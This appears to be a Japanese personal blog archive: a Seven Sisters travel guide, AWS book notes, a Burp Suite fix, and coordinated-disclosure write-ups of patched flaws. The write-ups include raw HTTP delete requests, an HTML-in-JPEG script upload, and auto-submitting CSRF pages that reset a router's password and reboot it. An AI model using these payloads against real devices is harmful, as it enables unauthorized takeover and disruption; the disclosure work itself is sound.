セブンシスターズ(Seven Sisters)への旅路: ブライトン(Brighton) 経由

メモ

2016 年 9 月、セブンシスターズ（Seven Sister）を旅してきました。このセブンシスターズは、「Mr.ホームズ 名探偵最後の事件」や「映画けいおん！」などのロケ地になります。セブンシスターズに行く経路を調べるときに、様々なブログの情報を参考にしたため、僕も旅路の記録を残します。いづれセブンシスターズを訪れる方のお役に立てば嬉しいです。

はじめに

セブンシスターズへの旅路

僕の場合、ロンドン ヴィクトリア駅を出発して、鉄道・バス・徒歩の 3 つの手段でセブンシスターズを一望できる「Seaford Head view point」に辿り着きました。

  1. 鉄道: ロンドン ヴィクトリア駅(London Victoria) からブライトン駅
  2. バス: ブライトンから Seven Sisters Country Park
  3. 徒歩: Seven Sisters Country の Seaford Head view point へ
1. 鉄道: ロンドン ヴィクトリア駅からブライトン駅

まず、ロンドン ヴィクトリア駅から鉄道（Southern railway）でブライトンに移動します。僕の場合は、ヴィクトリア駅構内（下図の赤枠）でチケットを購入して、プラットフォーム 18 または 19 発（下図の紫色の枠）の鉄道に乗りました。ロンドンからブライトンまでは、約 1 時間掛かります（Southern railway の路線図(network map)）。


引用元: VictoriaStationMap.pdf

チケット券売機では、行き先、片道(Single) or 往復(Return)、チケットの種類を指定してチケットを購入します。僕は下表のように指定して、31 £でチケットを購入しました。なお、Southern railway のウェブサイトからチケットを購入した場合も、同じ券売機で発券できるようです（参考ブログ記事）。

行き先 Brighton
片道/往復 Return
チケットの種類 Anytime Day Return(当日中であれば時間指定なく復路の鉄道に乗れる)

チケットを購入したら、電光掲示板(Street View)で鉄道の時刻および出発プラットホームを確認して、そのプラットホームに向かいます。あとは停車中の車両に乗り、出発するまで待機します。ヴィクトリア駅発の Southern railway に 2 回乗った限りでは、定刻よりも数分遅れて車両が出発しました。

2. バス: ブライトンから Seven Sisters Country Park

ブライトン駅に着いたら、バス（Brighton & Hove Bus）で Seven Sisters Country Park に移動します。ブライトンのバス停「Sea Life Centre」（下図の赤枠）から 12 番線（12A または 12X）のバスに乗り、Exceat のバス停「Seven Sisters Park Centre」（下図の紫色の枠）で降ります。「Sea Life Centre」から「Seven Sisters Park Centre」まで約 1 時間掛かります（Brighton & Hove Bus 12 番線の時刻表）。


引用元: 12, Brighton - Eastbourne, Route Map

バス停に向かう前に、ブライトン駅の Travel Centre（下図の赤枠）で One day バスチケット、地図や時刻表などを入手します。Travel Centre で「ブライトン駅からセブンシスターズのバスチケットが欲しい」と伝えると、One day バスチケット（約 8 £）を購入できました。もし Southern railway のチケットをウェブサイトで購入する場合には、PlusBus を購入する方がバス代を節約できます（参考ブログ記事）。


引用元: http://www.nationalrail.co.uk/stations-and-destinations/stations-made-easy/brighton-east-sussex-station-plan

さて One day バスチケットは、購入時点では左下図のようになっています。One day チケットを使うためには、透明カバーをめくって、使用日の年月日をスクラッチして透明カバーを貼り付けます（右下図）。年月日を間違えないようにご注意を（僕は間違えてしまい、バスドライバーに訂正してもらいました）。また、Travel Centre に置いてある地図や時刻表の中では、A4 冊子の時刻表（左下図）が役に立ちました。少し荷物になってしまいますが、主要なバス停と通過予定時刻をオフラインですぐに確認できるからです。

ブライトン駅での準備が終わったら、バス停「Sea Life Centre」（下図の赤枠）に向かいます。ブライトン駅から徒歩で 10 分程度掛かります。バス停の電光掲示板でバスが到着するまでの見込み時間を確認して、バスの到着を待ちます。Route: 12（12A または 12X）, Destination: Eastbourne のバスが到着したら、ドライバーに One day バスチケットを提示して、バスに乗ります。


引用元: City Centre Bus Routes

3. 徒歩: Seven Sisters Country Park から Seaford Head view point

Seven Sisters Country Park に着いたら、あとは目的地に向かって歩くだけです。僕は、セブンシスターズのリーフレットの「Path to Seaford Head view point」（ピンク色の点線）と「Beach Trail」（橙色の点線）の 2 つのルートを歩きました。


引用元: p.2, Seven Sisters Leaflet

バス停「Seven Sisters Park Centre」は、ちょうど Visitor Centre の裏手（上図の赤枠）にあります。「Path to Seaford Head view point」ルートに入るためには、まずバスで来た道を戻って The Cuckmere Inn に向かいます。The Cuckmere Inn の駐車場付近に入り口があり、そこから Seaford Head view point に向かって歩きます。The Cuckmere Inn から南下した交差点（実際には三叉路）で外側のルートを選び、ところどころで写真を撮りながら 45 分前後で Seaford Head view point に着きました。この view point でしばらく眺めを堪能しました:) 帰りは Beach を経由する上図の内側のルートを辿って、Visitor Centre まで戻りました。Visitor Centre を戻ったときには、約 2 時間半が経過していました。

Visitor Centre で一息ついたら、今後は「Beach Trail」ルートに向かいました。Visitor Centre から道路を挟んだ向かい側に「Beach Trail」または「South Downs Way」ルートの入り口があります。入口から 30 分前後歩くと、Beach に着きました。Beach を横断すると、セブンシスターズの崖を真下から見上げることができます。セブンシスターズの大きさを体感でき、Seaford Head view point とは違った趣があります:)

リーフレットには明記されていませんが、Beach からセブンシスターズの崖に登ることもできます（上図の星印付近）。実際に登っている人もいましたが、勾配がきつく大分歩いた後だったため、崖を登ることを断念しました。Beach で小一時間セブンシスターズの崖を見上げたら、Visitor Centre に戻るとともに帰路につきました。

サイドストーリー：ブライトンに辿り着けずに Haywards Heath 駅で鉄道が止まった

旅路は以上ですが、ここでサイドストーリーを一つ。

この旅でロンドン ヴィクトリア駅から鉄道には 2 回乗りました。初めにヴィクトリア駅からブライトン駅への鉄道に乗ったとき、車両がブライトン駅まで行かずに、Haywards Heath 駅で止まってしまいました（Southern railway 全体がちょうど約一週間メンテナンス作業を行っており、この影響を受けたようです）。電光掲示板で表示されるブライトン行きが次々キャンセルされたため、その日はロンドンに戻りました*1。

ヴィクトリア駅に戻るために、まず Bedford 駅行きの Tramlink で East Croydon 駅（下図の赤枠）まで移動しました。そして、East Croydon 駅でヴィクトリア駅行きの Southern railway に乗り換え、ヴィクトリア駅に戻りました。

引用元: Southern_Network_Map.pdf, Network Map by route

駅員さんに相談して Tramlink に乗りましたが、このとき乗り換えが必要なことを聞きとれていませんでした。そこで、Tramlink で隣に座っていた女性に「どうすればヴィクトリア駅に帰れるか」聞きました。このとき、下図をおかげで East Croydon 駅（または Gatwick Airport 駅）における乗り換えの必要性をようやく理解できました。
英語のスピーキング・リスニングが堪能であれば会話だけで十分でしょうが、そうでない場合には会話以外で共通認識を作れる地図が大事と痛感しました。「地図、大事」覚えた。

おわりに

だだっ広い原っぱから壮大な景色を眺める解放感はいいですね。普段の生活圏にない風景だからか、一時的に日常生活を忘れてしまいます。とりあえず特に何もない空間で無心になりたい方は、機会があれば是非。

*1:駅員さんからは「バスでブライトン行けるよ！」と言われましたが、下調べしていなかったことと、滞在日数に余裕があったため、ロンドンに戻りました

IO-DATA 製レコーディングハードディスクにおけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された

脆弱性

2016 年 8 月 8 日、アイ・オー・データ機器のレコーディングハードディスクにおけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性(JVN#35062083)が修正されました。2016 年 1 月 3 日、僕は HVL-A2.0 でこの脆弱性を発見し、IPA に報告しました。そして、7 ヶ月後に関連製品を含めて当該脆弱性が修正されました。
この日記では、この脆弱性について下記 4 点をまとめました。

  • 脆弱性があった機能
  • 再現手順
  • 製品開発者による修正
  • 報告から取扱終了までの時系列

脆弱性があった機能

レコーディングハードディスク「RECBOX HVL-A2.0」には、保存しているコンテンツを操作できる WebUI 機能（下図）があります。この WebUI にはユーザ認証がなく、この機能の URL にアクセスできれば誰でも利用できます。


当該 WebUI で動画コンテンツを選択して、[削除] (画面上部を参照) を実行すると、Web ブラウザが /dms/transfer_tool/api/remove に POST リクエストを送信します。HTTP Body の「id」パラメータは、動画コンテンツの識別子を指します。

POST /dms/transfer_tool/api/remove HTTP/1.1
Host: 192.168.0.220:55247
Content-Length: 11
Accept: */*
Origin: http://192.168.0.220:55247
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.220:55247/dms/doc/transfer_tool/transfer_tool.html?20151071356
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.8,en;q=0.6
Connection: close

id=FS-13936

指定した動画コンテンツの削除に成功すると、当該製品は HTTP レスポンスコード 200 を応答します。

HTTP/1.1 200 OK
Server: Linux/2.6.31.8 UPnP/1.0 DiXiM/5.0
Date: Sun, 21 Aug 2016 03:21:44 GMT
Connection: close
Content-Type: application/json
Access-Control-Allow-Origin: *


この動画コンテンツの削除機能に CSRF の脆弱性*1が存在しました。この HTTP リクエストに秘密情報を含んでいません。また XMLHttpRequest における Origin ヘッダおよびカスタムヘッダの検証（参考1, 参考2）も実施していませんでした。したがって、当該製品の利用者が罠サイトを閲覧すると、任意の動画コンテンツを削除する CSRF 攻撃を受ける恐れがありました。

再現手順

手順 1 から 4 で、当該製品に対する CSRF 攻撃を再現できます。この CSRF 攻撃を実現するためには、攻撃者が「削除対象コンテンツ ID」と「当該製品の IP アドレス」を推測する必要があります*2。

  1. 削除対象コンテンツが存在することを確認する
    • http://当該製品のIPアドレス:55247/dms/transfer_tool/api/browse?id=FS-4&starting_index=0&requested_count=0
    • パラメータ id の「FS-4」は、削除対象コンテンツを格納しているフォルダのコンテンツ ID を指す
  2. 罠サイトに実証コードを配置する
  3. 当該製品の利用者を罠サイトに誘導する
  4. 改めて手順 1. を実施して、削除対象コンテンツが存在しないことを確認する
削除対象コンテンツ ID

脆弱性報告時の動画コンテンツ ID の分布*3をふまえると、動画コンテンツ ID を総当たりに試行すれば、現実的に任意の動画コンテンツを削除できる可能性があると判断しました。

当該製品の IP アドレス

WebRTC 実装仕様を利用することで、当該製品の IP アドレスを特定できると判断しました。

まず当該製品は、初期設定で DHCP サーバから IP アドレスを取得するよう設計されており、当該製品と利用者の PC が同一 LAN に接続する使い方が一般的だと考えます。また、Google Chrome および Mozilla Firefox の WebRTC 実装には、JavaScript からローカルホストの IP アドレスを取得できる仕様があります*4。そこで、Web ブラウザが動作するローカルホストの IP アドレスを取得して、同一 LAN の IP アドレスに対して当該製品の固有情報の有無（例：特定 URI の画像ファイル）を試行すれば、当該製品の IP アドレスを特定できます。

実際に Buffer NAS に対する Exploit コードをもとに、実証コード:cve-2016-4845_csrf-delete-withWebRTC_poc.htmlを準備しました。

製品開発者による修正

当該製品の最新バージョン 2.04 を確認したところ、/dms/transfer_tool/api/remove に対する POST リクエストの HTTP Body に「token」パラメータが追加されていました。この修正によって、攻撃者がこの「token」パラメータの値を推測できない限り、CSRF 攻撃が成功しなくなりました。

POST /dms/transfer_tool/api/remove HTTP/1.1
Host: 192.168.0.220:55247
Content-Length: 81
Accept: */*
Origin: http://192.168.0.220:55247
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.220:55247/dms/doc/transfer_tool/transfer_tool.html?201607211648
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.8,en;q=0.6
Connection: close

id=FS-1411&token=BQQGBgIPBwMi%2Fl6%2B4d4QwZyLDbj8Syiy9XPvxOMTMOAAIXC8c34b0g%3D%3D

報告から取扱終了までの時系列

年月日 事柄
2016年1月3日 IPA に脆弱性を報告
2016年1月4日 IPA から届出情報受信の連絡
2016年1月8日 IPA から届出情報受理の連絡
2016年2月4日 IPA から「JPCERT/CCによる製品開発者への連絡開始」の連絡
2016年2月20日 IPA に追加の実証コードを送付
2016年8月3日 製品開発者が当該脆弱性を修正したファームウェア 2.04 を公開
2016年8月8日 JVN における脆弱性情報の公表

さいごに

脆弱性を修正いただいた（株）アイ・オー・データ機器、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

参考情報

  • ブラウザハック
    • 9.3 クロスオリジンでの Web アプリケーションの特定, 第 9 章 Web アプリケーションに対する攻撃
    • フックしたブラウザの内部 IP アドレスの特定, 10.1 標的の特定, 第 10 章 ネットワークに対する攻撃

*1:厳密には CSRF の脆弱性と言えません。IPA「安全なウェブサイトの作り方」およびOWASPにおける CSRF の定義では「ログイン状態のユーザ」を規定しています。しかし、この脆弱性はその定義を満たしません（当該機能にはログイン機構が存在しないため）。便宜上、この日記では CSRF の脆弱性と呼称します。

*2:この再現手順では削除対象コンテンツ ID を「FS-6411」、当該製品の IP アドレスを「192.168.0.220」としています。

*3:2016/01/02 時点で FS-108 から FS-8781 の範囲に 671 の動画コンテンツが分布していました

*4:2016 年 1 月 3 日報告時点で、Chrome 47.0.2526.106 m および Firefox 43.0.1 を使いローカルホストの IP アドレスを取得できることを確認済み

ガンホー問い合わせフォームにおけるアップロードファイルに起因する脆弱性が修正された

脆弱性

2016 年 5 月 3 日、ガンホー・オンライン・エンターテイメント株式会社（以降、ガンホー社）に「République（リパブリック）」について問い合わせるとき、お問い合わせフォームに脆弱性を発見しました。同日中にガンホー社および IPA に報告したところ、同月 31 日、当該脆弱性が修正されました。

アップロードファイルに起因する脆弱性

要約

ガンホー社の問い合わせフォームでは、クエリストリングで Content-Type を指定できる実装でした。アップロードファイルを確認するウェブページで、この実装を悪用して、ウェブブラウザ上で任意のスクリプトを実行できました。

脆弱性があったお問い合わせフォーム

当該お問い合わせフォームでは、ユーザが問い合わせに関するファイルをアップロードできます（下図*1）。このアップロード機能では、ファイルの拡張子を検証していますが、ファイルの中身（マジックバイトなど）を検証していないようです。スクリプトを含む HTML ファイルを「a.jpeg」で保存すると、当該お問い合わせフォームに「a.jpeg」をアップロードできました。


お問い合わせを送信する前に、アップロードしたファイルをウェブページで確認できます。このウェブページでは、クエリストリングに「mime」パラメータを指定でき（左下図）、このパラメータの値が Content-Type ヘッダにそのまま出力されました。試しに mime=text/plain と指定すると、Content-Type: text/plain; charset=utf-8 と出力されました（右下図）。

脆弱性の再現手順

下記の (a), (b) の手順で脆弱性を再現できました。

(a) 当該問い合わせフォームに下記のHTMLファイルを「a.jpeg」としてアップロードする

<html>
<head>
<title>test</title>
<script>alert(1);</script>
</head>
<body>
</body>
</html>

(b) 当該脆弱性のあるウェブページに遷移して、「mime」パラメータに「text/html」を指定する。この結果として、アラートダイアログがポップアップ表示できた（下図）。

この脆弱性による脅威

ガンホー社には、「contact.gungho.jp ドメインを使ったフィッシングサイトに悪用されること」を脅威としてお伝えしました。

ガンホー社による脆弱性の修正

2016 年 5 月 29 日、報告したウェブページで改めて再現手順を実施したところ、「mime」パラメータが削除されていました。このとき、Content-Type ヘッダには、image/jpeg; charset=utf-8 または text/plain; charset=utf-8 が設定されていました。

ウェブブラウザ Content-Type ヘッダの値
Google Chrome 50.0.2661.102 m（左下図） image/jpeg; charset=utf-8
Mozilla Firefox 46.0.1 image/jpeg; charset=utf-8
MS Edge 25.10586.0.0（右下図*2） text/plain; charset=utf-8


前述の手順で脆弱性が再現しなくなったものの、任意のファイルをアップロードできることは変わりません。このため、IE8 などのウェブブラウザではまだセキュリティ上の問題が発生する可能性があります（2016 年 1 月 13 日で IE8 のサポートが終了していますが）。そこで、ガンホー社に修正完了確認を問い合わせたときに、X-Content-Type-Options: nosniff を提案しました。実際に X-Content-Type-Options ヘッダを出力するかは、ガンホー社の判断次第になります。

発見から修正までの時系列

年月日 アクション
2016年5月3日 ガンホー社および IPA に脆弱性を報告
同日 ガンホー社から一次返信
2016年5月6日 ガンホー社から「担当部署に連絡した」との返信
同日 IPA から届出情報受信の返信
2016年5月10日 IPA から届出情報受理の連絡
2016年5月11日 IPA から届出情報をガンホー社に通知したとの連絡
2016年5月29日 脆弱性が修正されたことを確認
同日 ガンホー社に修正完了確認を問い合わせ
2016年5月30日 IPA から修正完了の連絡
同日 ガンホー社から問い合わせへの回答
2016年6月1日 IPA にガンホー社に「脆弱性情報および時系列を公表すること」の連絡を依頼
2016年6月3日 IPA からガンホー社への情報展開および取扱い終了連絡
2016年6月5日 この日記を公開

さいごに

脆弱性を修正いただいたガンホー社、報告から修正および取扱終了まで調整いただいた IPA、ご対応ありがとうございました。

*1:2016 年 6 月 2 日に取得したスクリーンショット

*2:2016 年 6 月 4 日に取得したスクリーンショット

「Amazon Web Services パターン別構築・運用ガイド」を読んだ

読書 AWS

2015 年 03 月 25 日に「一番大切な知識と技術が身につく Amazon Web Services パターン別構築・運用ガイド」（以降、パターン別構築・運用ガイド）が出版されました。著者の一人、佐々木 拓郎 氏のブログで興味を持ち、当該書籍を読みました。この日記では、感想と読書メモを記録します。

感想

AWS を使ったシステムを構築する、または AWS を使ったシステムを運用する技術者だけではなく、AWS を使ってシステムをレビューする技術者にも役に立つ書籍だと感じました。
僕は AWS を使ったシステムを構築または運用していませんが、AWS を使ったシステムをセキュリティの観点からレビューする場合があります。そのときには、AWS の仕様やセキュリティ機能などの知識が必要です。最終的には AWS 公式ドキュメントを確認しますが、AWS の全般的な知識があれば、どういった点を確認すればよいかポイントを絞れます。この書籍は、そういった全般的な AWS の知識を得る上でとても役に立ちます:)
類似した書籍には「Amazon Web Services クラウドデザインパターン実装ガイド」（以降、実装ガイド）(2013 年 02 月 03 日出版) がありますが、「パターン別構築・運用ガイド」では、「実装ガイド」でふれていない Elastic Beanstalk / Cloud Formation / Cognito などを使った構築例や IAM にも言及しています。また、セキュリティに関する言及も豊富です。例えば、「AWS のセキュリティ」という独立した章、AWS アカウント(通称 root アカウント) における MFA(Multi-Factor Authentication) を有効にすべき項目として紹介する*1、などです。
AWS 公式ドキュメントなどで詳細・不明点を確認するための道しるべとして、この書籍を活用するつもりです。著者の皆様、よい書籍を執筆していただき、ありがとうございました！

読書メモ

  • 当該書籍を読んで、気になった記述をピックアップおよび引用しました。
  • 主に AWS の仕様やセキュリティに関する事柄が該当します。
  • 斜体の文章は当該書籍からの引用です。
Chapter1 AWSの基本
  • pp.22-23 AWSネットワークとVPCネットワーク
    • AWS サービスを AWS ネットワーク、VPC ネットワークごとに分類
    • 「AWSネットワークはインターネットからのアクセスできるネットワークのこと」
    • 「VPCネットワークはVPC環境内の閉じられたネットワークのこと」
  • pp.24-27 Amazon Elastic Compute Cloud
  • pp.27-29 Amazon Elastic Block Store
    • EBSの暗号化
      • 「AES-256アルゴリズム」
      • 「暗号化オプションを有効にしたSnapshotを他のAWSアカウントと共有すること、AWS利用ユーザにパブリックに公開することはできない」
  • pp.30-33 Amazon Simple Storage Service
    • S3の暗号化
    • S3のアクセス管理
      • 「バケットポリシー、ACL、IAMでの制御の3つ」
      • 表 1-3-1 S3のアクセス管理の単位
  • pp.35-42 Amazon Relational Database Service
    • RDSインスタンスへのアクセスポート
    • RDSのログ
      • 「AWSマネージメントコンソール等からRDSのログを確認することができます」
    • パラメータグループ
    • オプショングループ
  • pp.47-51 Amazon ElastiCache
    • パラメータグループ
  • pp.61-63 AWSの料金体系
    • 「従量課金には、時間ベース、容量ベース、回数ベースの3つがあります」
    • 容量ベース
      • 「ネットワーク課金の考え方としては、インとアウトがあります。外のネットワークからAWSへの通信をインと呼び、AWSから外部のネットワークへの通信はアウトと呼びます。インについては、基本無料です。アウトの通信に対して、1GBあたり幾らという計算の仕方で課金されます」
Chapter2 AWSを利用する
  • pp.68-76 AWSアカウントの作成
    • MFA(Multi-Factor Authentication)の設定
      • 「AWSマネージメントコンソールにサインインして、最初に行うことはMFA(Multi-Factor Authentication)の設定です...特に、現在ログインしているアカウントはルートアカウントと呼ばれ、AWSに対するあらゆる権限を持っています。これが乗っ取られると、AWSのリソースが思うままに使われ、莫大な料金が請求されるだけではなく、最悪の場合、犯罪に利用されることもあります」
  • pp.76-91 ユーザアカウントの作成(IAMアカウント)
    • アクセスキーの入手
      • 「ただし、同じアクセスキーは二度とダウンロードできないので、ダウンロードしたCSVファイルは注意して管理してください」
    • IAMポリシー
      • 「ポリシーは、Managed PoliciesとInline Policiesの2種類があります」
  • pp.116-117 Default-VPC
  • pp.118-132 Custom-VPCを作成する
    • VPCネットワークの作成
      • 「Tenancyで「Dedicated」を設定すると、EC2インスタンスを起動するホストサーバを指定(占有)できます。セキュリティやコンプライアンスの問題で、ホストサーバを他システムと共有することが許されない場合等に使用します」
  • pp.133-136 AWS操作用の公開鍵・秘密鍵の作成(KeyPair)
    • AWS外部で作成した公開鍵のインポート
      • 表2-5-2 インポートできる鍵の制限
  • pp.137-142 Security Groupを作成する
    • 「Security GroupはAWSにおいてファイアウォールの役割を果たします。Security GroupはWhite List方式なので、「何を許可するのか」のみを指定できます。何も指定しなければ、全てを拒否することになります」
  • pp.159-162 Elastic IP(EIP)の利用
    • 「EC2に割り当てることのできるグローバルIPには、2種類あります。1つは、先ほど利用したパブリックIP、もう1つがElastic IP(EIP)です」
  • pp.163-167 ELBサービスの詳細
    • External-ELBとInternal-ELB
    • SSLターミネーション
    • スティッキーセッション
      • 「スティッキーセッションとは、同じユーザからきたリクエストを同じインスタンスで処理させるようにする機能です。ELBのスティッキーセッションは、ELBが独自に発行するCookieを利用する方式と、アプリケーションが発行したCookieを利用する方式の2種類が選択できます」
    • ログ取得機能
      • 「ELBで処理したリクエストのログを取得することができます」
Chapter3 パターン別構築例
  • pp.233-239 Elastic Beanstalkを利用したロードバランシングとHTTPSサイトの構築
    • ELB、RDS、Auto Scalingの設定変更
      • 「SSL証明書は前節でアップロードした証明書を利用します...証明書をアップロードしたのはELBの画面ですが、AWS側ではIAMのなかに保存されています」
  • pp.256-263 CloudFrontとの連携
    • 表3-3-4 Distributionの設定(Default Cache Behavior Settings)
      • Forward Cookies
      • Forward Query Strings
      • Restrict Viewer Access
    • 表3-3-5 Distributionの設定(Distribution Settings)
      • Logging
  • pp.275-278 Auto Scaling使用時のEC2インスタンスの初期化処理
  • pp.327-331 EC2インスタンスにメールサーバを構築する
    • メール送信に必要な準備
      • 「AWSでは、不適切なメール(スパムメール等)の送信に利用されることを防ぐため、パブリックIPやEIPから一定以上のメールが送信できないように制限されています。また、パブリックIPやEIPは原則としてRBL(Real-time Blackhole List)に登録されています。これらは不用意に不適切なメール送信を防ぐことを目的としています」
  • pp.342-348 Cognitoによるユーザ認証と2Tierアーキテクチャ
    • 「Cognitoは、モバイル向けに設計されたAWSの認証・認可のサービスです。Cognitoを利用することにより、アクセスキーとシークレットキーを利用しない認証の仕組みを実現できます」
    • Cognitoを中心としたユーザ認証とアクセス認可
      • 「構成要素としては、Identity Providerによる認証と、CognitoによるCredentialの発行、IAMロールによる権限の付与の3つの要素になります」
      • 「Cognitoの機能は従来から提供されていたSTS(Security Token Services)を利用したWeb Identity Federationと非常に似ています。Cognitoの内部的には、STSを利用しているというところは同じで、認証やロールの設定等がより簡単に使えるラッパー的なAPIと考えることができるかもしれません」
Chapter4 AWSのセキュリティ
  • pp.365- AWSのアカウント種類
    • IAMポリシー
      • 「AWSが最初から設定しているポリシーをAWS Managed Policiesといい、各ユーザが独自に作成したポリシーをCustomer Managed Policiesといいます」
      • 「IAMマネージドポリシーは、2015年2月に提供された新しいポリシーの管理方法です。IAMユーザやグループ、ロールといった各役割に付与する権限を、オブジェクトとして管理できるようになりました...これまでのポリシー管理方法は「マネージドポリシー」に対して、インラインポリシーとよばれます」
Chapter5 管理と運用
  • pp.430-431 AMIの運用方法
    • AMIのオンライン取得
      • 「AMIはEC2インスタンスが稼働している状態でも取得することは可能です」
  • pp.432-435 AWSのサービスログ/操作履歴のログを収集保存する
    • AWSサービスのログを収集する
      • 「S3のログの注意点としては、2015年2月現在では、ベストエフォート型で全てのアクセスログが完全に出力するという保証はありません。また、ログ出力はリアルタイムではなく、少し遅れて出力されます」

*1:https://twitter.com/kaito834/status/584261809240027136

Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6

メモ

The following errors happened when I used Burp Suite Free Edition v1.6 with upstream proxy; [twitter:@anshuman_bh] posted an image of these errors. Thanks for @anshuman_bh and [twitter:@Burp_Suite], I have known solutions for the errors. And, I blogged this entry for someone who may face the errors.

Attempting to auto-select SSL parameters for 
Failed to auto-select SSL parameters for 
javax.net.SSLException: server certificate change is restricted during renegotiation
server certificate change is restricted during renegotiation

Solution

  • Use latest Burp Suite

Burp Suite v1.6.07 applied a workaround related to the errors by @Burp_Suite (tweet). If you use Burp Suite Free Edition, I use, you cannot update to date soon. Then you can do some workarounds.

Workarounds
  • Use Burp Suite without upstream proxy by @anshuman_bh (tweet)
  • Use Java 1.7_67 and earlier version; it is bad for security reason.
    • The errors happened with Java 1.7_71 .
    • I confirmed that it was not the errors Burp Suite with Java 1.7_67 .
  • Use Burp Suite with OWASP ZAP by [twitter:@604Wes] and [twitter:@adamruddermann] (tweet)
    • Burp Suite -> OWASP ZAP -> upstream proxy

ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された

脆弱性

2012 年 12 月、ひかり電話ルータ「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されました。2011 年 9 月 26 日に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。取扱終了となった理由は、「RV-440MI」の脆弱性と同様でした。

脆弱性の再現手順

IPA に報告した脆弱性関連情報（様式）から再現手順を引用します。

2. 脆弱性関連情報
(snip)
  2) 脆弱性を確認したソフトウエア等に関する情報
     名称：ひかり電話ルータ (RV-S340SE)
     バージョン：14.07
(snip)
  3) 脆弱性の種類
     クロスサイト・リクエスト・フォージェリ


  4) 再現手順
     RV-S340SE のウェブ管理インターフェイスに特定のパラメータと値
     を送信させるウェブページに、RV-S340SE にログインした利用者を
     誘導することでクロスサイト・リクエスト・フォージェリが再現で
     きます。

     この再現手順では、「RV-S340SE のウェブ管理インターフェイスの
     パスワードを変更させる」、「RV-S340SE を再起動させる」、2 つ
     の手順を示します。

     ■「RV-S340SE のウェブ管理インターフェイスのパスワードを変更させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(change password) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="loginpass_user_input">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="loginpass_user_pass" value="exploit">
     <input type="hidden" name="loginpass_user_passcfm" value="exploit">
     <input type="hidden" name="mbg_set" value="設定">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) 別のウェブブラウザから RV-S340SE にアクセスして認証する。
         このとき、パスワードには「exploit」を指定する。

         (2) でログインしたときのパスワードが (1) で指定したパス
         ワード「exploit」に変わっていることを確認できます。

     ■「RV-S340SE を再起動させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(Reboot) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="reboot">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="mbg_reboot_set" value="再起動">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) RV-S340SE が再起動することを確認できます。

報告から取扱終了までの時系列

手元に残っている記録をもとに時系列をまとめました。IPA から質問いただいた記録もないため、報告した後には取扱終了まで音沙汰がなかったと思います。

年月日 事柄
2011/09/26 IPA に脆弱性情報を報告
2012/12/10 ファームウェア Ver.17.03 がリリース
2012/12/25 ファームウェア Ver.17.04*1 がリリース
2014/10/21 IPA から取扱終了の連絡をいただく。同日、取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1:IPA からは「届出頂いた脆弱性に対する修正を実施したファームウェアを 2012 年 12 月にリリースした」と連絡いただきました。このことから、17.03 または 17.04 のどちらかで当該脆弱性が修正されたと判断しました。

ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された

脆弱性

2014 年 7 月 7 日、ひかり電話ルータ「RV-440MI」における Portable SDK for UPnP の脆弱性（JVNVU#90348117）が修正されました。2013 年 2 月に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。
この日記では、この脆弱性について、次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • 脆弱性の再現手順
  • 取扱終了となった理由
  • 報告から取扱終了までの時系列

脆弱性を発見した経緯

Nmap の NSE スクリプト「upnp-info」を試用していたとき、当該脆弱性の可能性を確認しました。

2013 年 2 月 11 日の日記を書いた頃、UPnP を調べていました。この過程で「RV-440MI」に「upnp-info」を実行したところ、下記の結果*1を得ました。この Server ヘッダの「Intel SDK for UPnP devices/1.3.1」をみたところ、「ん？」と思いました。JVNVU#90348117（VU#922681）の脆弱なバージョンに該当するのではないかと。
